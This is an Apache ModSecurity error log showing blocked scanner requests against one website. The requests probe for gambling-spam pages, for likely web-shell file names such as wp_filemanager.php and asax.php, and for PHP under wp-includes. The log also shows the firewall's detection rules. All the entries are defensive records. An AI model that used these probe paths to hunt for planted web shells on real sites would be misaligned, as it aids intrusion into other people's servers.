[Mon Feb 16 15:05:59.630037 2026] [:error] [pid 37004:tid 37014] [client 135.181.213.219:31968] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aZLB11XWqA9gxE5oGmbcVwAAAQg"]
[Mon Feb 16 15:06:02.104643 2026] [:error] [pid 26648:tid 26672] [client 135.181.213.219:3570] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aZLB2jT55fUixS3gmyjC1AAAAZM"]
[Mon Feb 16 15:06:04.578673 2026] [:error] [pid 4347:tid 4375] [client 135.181.213.219:3586] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aZLB3DFcjv6pEAnSEidWzgAAAAc"]
[Mon Feb 16 15:06:07.052997 2026] [:error] [pid 38888:tid 38911] [client 135.181.213.219:3602] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aZLB36mDoBJWPvV4pcP1nAAAAVQ"]
[Mon Feb 16 15:06:09.652584 2026] [:error] [pid 4455:tid 4466] [client 135.181.213.219:3604] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aZLB4QNa-4dvQCL0ruozvQAAAMk"]
[Mon Feb 16 15:06:12.089104 2026] [:error] [pid 26648:tid 26661] [client 135.181.213.219:5110] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aZLB5DT55fUixS3gmyjC3QAAAYg"]
[Mon Feb 16 15:06:14.425889 2026] [:error] [pid 37004:tid 37016] [client 135.181.213.219:5112] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aZLB5lXWqA9gxE5oGmbcYgAAAQo"]
[Mon Feb 16 15:06:16.871372 2026] [:error] [pid 4348:tid 4417] [client 135.181.213.219:5114] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aZLB6HxbK-cCGKg9aytEHwAAAFY"]
[Mon Feb 16 15:06:19.336772 2026] [:error] [pid 4347:tid 4375] [client 135.181.213.219:5130] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aZLB6zFcjv6pEAnSEidW1wAAAAc"]
[Mon Feb 16 15:06:21.968135 2026] [:error] [pid 26648:tid 26653] [client 135.181.213.219:23822] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aZLB7TT55fUixS3gmyjC7gAAAYA"]
[Mon Feb 16 15:06:24.428881 2026] [:error] [pid 4348:tid 4412] [client 135.181.213.219:23838] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aZLB8HxbK-cCGKg9aytEKAAAAFE"]
[Mon Feb 16 15:06:26.895965 2026] [:error] [pid 26648:tid 26659] [client 135.181.213.219:23846] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aZLB8jT55fUixS3gmyjC9AAAAYY"]
[Mon Feb 16 15:06:29.251575 2026] [:error] [pid 4347:tid 4388] [client 135.181.213.219:23852] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aZLB9TFcjv6pEAnSEidW3wAAABQ"]
[Mon Feb 16 15:06:31.743097 2026] [:error] [pid 38888:tid 38899] [client 135.181.213.219:24814] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aZLB96mDoBJWPvV4pcP1swAAAUg"]
[Mon Feb 16 17:27:33.260188 2026] [:error] [pid 4348:tid 4413] [client 43.135.182.43:57426] [client 43.135.182.43] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aZLjBXxbK-cCGKg9aytxZwAAAFI"]
[Mon Feb 16 20:21:02.710969 2026] [:error] [pid 4349:tid 4435] [client 182.40.104.255:53438] [client 182.40.104.255] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aZMLrsrbZYafUL_3Qfz5yQAAAI0"]
[Mon Feb 16 23:57:34.481310 2026] [:error] [pid 38888:tid 38900] [client 135.181.180.59:12812] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aZM-bqmDoBJWPvV4pcOMZAAAAUk"]
[Mon Feb 16 23:57:37.073820 2026] [:error] [pid 4347:tid 4376] [client 135.181.180.59:47470] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aZM-cTFcjv6pEAnSEicWpwAAAAg"]
[Mon Feb 16 23:57:39.726063 2026] [:error] [pid 4348:tid 4409] [client 135.181.180.59:47476] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aZM-c3xbK-cCGKg9ayv1kwAAAE4"]
[Tue Feb 17 02:48:27.313862 2026] [:error] [pid 4349:tid 4433] [client 20.111.62.157:33814] [client 20.111.62.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/term.php"] [unique_id "aZNme8rbZYafUL_3QfxTCwAAAIs"]
[Tue Feb 17 02:48:29.693480 2026] [:error] [pid 26648:tid 26673] [client 20.111.62.157:33819] [client 20.111.62.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/term.php"] [unique_id "aZNmfTT55fUixS3gmyiOhgAAAZQ"]
[Tue Feb 17 02:48:33.766663 2026] [:error] [pid 4349:tid 4446] [client 20.111.62.157:33812] [client 20.111.62.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/term.php"] [unique_id "aZNmgcrbZYafUL_3QfxTDwAAAJg"]
[Tue Feb 17 02:48:40.636953 2026] [:error] [pid 4348:tid 4413] [client 20.111.62.157:34804] [client 20.111.62.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/term.php"] [unique_id "aZNmiHxbK-cCGKg9aysQhwAAAFI"]
[Tue Feb 17 02:49:07.781661 2026] [:error] [pid 4349:tid 4441] [client 20.111.62.157:30076] [client 20.111.62.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we.php"] [unique_id "aZNmo8rbZYafUL_3QfxTMQAAAJM"]
[Tue Feb 17 02:49:12.109579 2026] [:error] [pid 38888:tid 38898] [client 20.111.62.157:8933] [client 20.111.62.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we.php"] [unique_id "aZNmqKmDoBJWPvV4pcOuiQAAAUc"]
[Tue Feb 17 02:49:16.574966 2026] [:error] [pid 4348:tid 4416] [client 20.111.62.157:8950] [client 20.111.62.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asax.php"] [unique_id "aZNmrHxbK-cCGKg9aysQoAAAAFU"]
[Tue Feb 17 02:49:18.737508 2026] [:error] [pid 34932:tid 34948] [client 20.111.62.157:37207] [client 20.111.62.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asax.php"] [unique_id "aZNmrkKCWyYIg5P1IPfX2QAAAgk"]
[Tue Feb 17 02:49:26.743425 2026] [:error] [pid 34933:tid 34973] [client 20.111.62.157:8992] [client 20.111.62.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asax.php"] [unique_id "aZNmtsubrqI4iEJPNFmWagAAAkc"]
[Tue Feb 17 02:49:31.888542 2026] [:error] [pid 4349:tid 4442] [client 20.111.62.157:32376] [client 20.111.62.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ahax.php"] [unique_id "aZNmu8rbZYafUL_3QfxTRgAAAJQ"]
[Tue Feb 17 02:49:32.551640 2026] [:error] [pid 4348:tid 4405] [client 20.111.62.157:30024] [client 20.111.62.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ahax.php"] [unique_id "aZNmvHxbK-cCGKg9aysQqAAAAEo"]
[Tue Feb 17 02:49:33.895511 2026] [:error] [pid 34932:tid 34959] [client 20.111.62.157:30040] [client 20.111.62.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ahax.php"] [unique_id "aZNmvUKCWyYIg5P1IPfX4gAAAhQ"]
[Tue Feb 17 02:49:35.732394 2026] [:error] [pid 4347:tid 4391] [client 20.111.62.157:26464] [client 20.111.62.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ahax.php"] [unique_id "aZNmvzFcjv6pEAnSEidFxgAAABc"]
[Tue Feb 17 02:49:37.301227 2026] [:error] [pid 4455:tid 4470] [client 20.111.62.157:31362] [client 20.111.62.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Okxob.php"] [unique_id "aZNmwQNa-4dvQCL0rurf2QAAAM0"]
[Tue Feb 17 02:49:39.147222 2026] [:error] [pid 4348:tid 4411] [client 20.111.62.157:35871] [client 20.111.62.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Okxob.php"] [unique_id "aZNmw3xbK-cCGKg9aysQrwAAAFA"]
[Tue Feb 17 02:49:49.552623 2026] [:error] [pid 35004:tid 35029] [client 20.111.62.157:18490] [client 20.111.62.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Okxob.php"] [unique_id "aZNmzWX1hIIv5l_K_Ouc4gAAApc"]
[Tue Feb 17 02:49:59.901216 2026] [:error] [pid 34904:tid 34915] [client 20.111.62.157:34046] [client 20.111.62.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acfdr.php"] [unique_id "aZNm1xoDUNgfYrSP5-uDugAAAck"]
[Tue Feb 17 02:50:02.592596 2026] [:error] [pid 4455:tid 4476] [client 20.111.62.157:34009] [client 20.111.62.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acfdr.php"] [unique_id "aZNm2gNa-4dvQCL0rurf7gAAANM"]
[Tue Feb 17 02:50:04.958857 2026] [:error] [pid 4348:tid 4410] [client 20.111.62.157:35435] [client 20.111.62.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acfdr.php"] [unique_id "aZNm3HxbK-cCGKg9aysQxgAAAE8"]
[Tue Feb 17 02:50:10.173121 2026] [:error] [pid 35004:tid 35007] [client 20.111.62.157:32370] [client 20.111.62.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/init.php"] [unique_id "aZNm4mX1hIIv5l_K_Ouc7QAAAoE"]
[Tue Feb 17 02:50:11.802235 2026] [:error] [pid 4349:tid 4427] [client 20.111.62.157:33992] [client 20.111.62.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/init.php"] [unique_id "aZNm48rbZYafUL_3QfxTdwAAAIU"]
[Tue Feb 17 02:50:12.718152 2026] [:error] [pid 4455:tid 4459] [client 20.111.62.157:30054] [client 20.111.62.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/init.php"] [unique_id "aZNm5ANa-4dvQCL0rurf-QAAAMI"]
[Tue Feb 17 02:50:16.713288 2026] [:error] [pid 4349:tid 4439] [client 20.111.62.157:32123] [client 20.111.62.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/init.php"] [unique_id "aZNm6MrbZYafUL_3QfxTfQAAAJE"]
[Tue Feb 17 02:50:22.199438 2026] [:error] [pid 4347:tid 4389] [client 20.111.62.157:32380] [client 20.111.62.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "aZNm7jFcjv6pEAnSEidF_AAAABU"]
[Tue Feb 17 02:50:42.596613 2026] [:error] [pid 4347:tid 4370] [client 20.111.62.157:37238] [client 20.111.62.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/about.php"] [unique_id "aZNnAjFcjv6pEAnSEidGIQAAAAI"]
[Tue Feb 17 02:50:55.433696 2026] [:error] [pid 35004:tid 35017] [client 20.111.62.157:9010] [client 20.111.62.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inege.php"] [unique_id "aZNnD2X1hIIv5l_K_OudHwAAAos"]
[Tue Feb 17 04:58:49.319490 2026] [:error] [pid 58659:tid 58671] [client 40.112.95.11:14359] [client 40.112.95.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aZOFCcDX32iTEO4jt2_PnwAAAMo"]
[Tue Feb 17 04:58:52.494299 2026] [:error] [pid 32790:tid 32804] [client 40.112.95.11:8591] [client 40.112.95.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aZOFDHs3HJP9ozPHsN60YwAAAQo"]
[Tue Feb 17 04:58:54.121658 2026] [:error] [pid 58659:tid 58676] [client 40.112.95.11:16419] [client 40.112.95.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aZOFDsDX32iTEO4jt2_PqQAAAM8"]
[Tue Feb 17 05:04:10.318755 2026] [:error] [pid 58552:tid 58616] [client 20.100.191.215:58544] [client 20.100.191.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aZOGSjBHVJP2Oz3yR5fN0wAAAFU"]
[Tue Feb 17 05:04:16.979489 2026] [:error] [pid 58659:tid 58670] [client 20.100.191.215:60740] [client 20.100.191.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aZOGUMDX32iTEO4jt2_SMwAAAMk"]
[Tue Feb 17 05:04:20.459670 2026] [:error] [pid 32790:tid 32810] [client 20.100.191.215:45706] [client 20.100.191.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aZOGVHs3HJP9ozPHsN628QAAARA"]
[Tue Feb 17 06:25:02.790009 2026] [:error] [pid 58558:tid 58626] [client 4.232.88.90:55626] [client 4.232.88.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aZOZPimIxlfUL2nViZy6qAAAAIQ"]
[Tue Feb 17 06:25:04.342800 2026] [:error] [pid 32790:tid 32795] [client 4.232.88.90:56317] [client 4.232.88.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aZOZQHs3HJP9ozPHsN7jQgAAAQE"]
[Tue Feb 17 06:25:06.713617 2026] [:error] [pid 58551:tid 58566] [client 4.232.88.90:14931] [client 4.232.88.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aZOZQq1t8eWr-MgFsppv_wAAAAY"]
